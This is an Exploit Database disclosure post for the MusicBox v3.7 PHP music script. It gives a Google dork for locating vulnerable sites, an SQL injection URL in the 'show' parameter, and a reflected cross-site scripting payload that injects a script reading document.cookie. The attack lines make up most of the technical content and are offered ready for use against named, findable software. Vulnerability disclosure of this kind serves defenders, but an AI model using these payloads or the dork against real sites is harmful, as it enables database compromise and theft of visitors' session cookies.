MusicBox 3.7 – Multiple Vulnerabilities

• Exploit Database
• 13 阅读

• 作者： R@1D3N
  日期： 2011-07-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17570/

• ============================================================
  MusicBox <= v3.7 Multiple Vulnerabilities
  ============================================================
  
  
  [~] Author : R@1D3N (amin emami)
  
  [~] Software Link : www.musicboxv2.com
  
  [~] Price : $275
  
  [~] Version : v3.7 and previous versions
  
  [~] Contact : aminrayden@yahoo.com <~
  
  [~] DorK : inurl:genre_artists.php
  
  [~] Forum : http://ashiyane.org/forums/
  
  [~] Greetz :ItSecTeam, Inj3ct0r, Exploit-db
  
  [~] Tested on: Windows XP Sp3
  
  vul1.sql injection:
  
  /[Path]/index.php?action=top&type=Songs&show=10'[ SQL ATTACK]
  
  Vul2.Cross site Scripting:
  
  /[path]/index.php?in=song&term="><script>alert(document.cookie)<%2Fscript>&action=search&start=0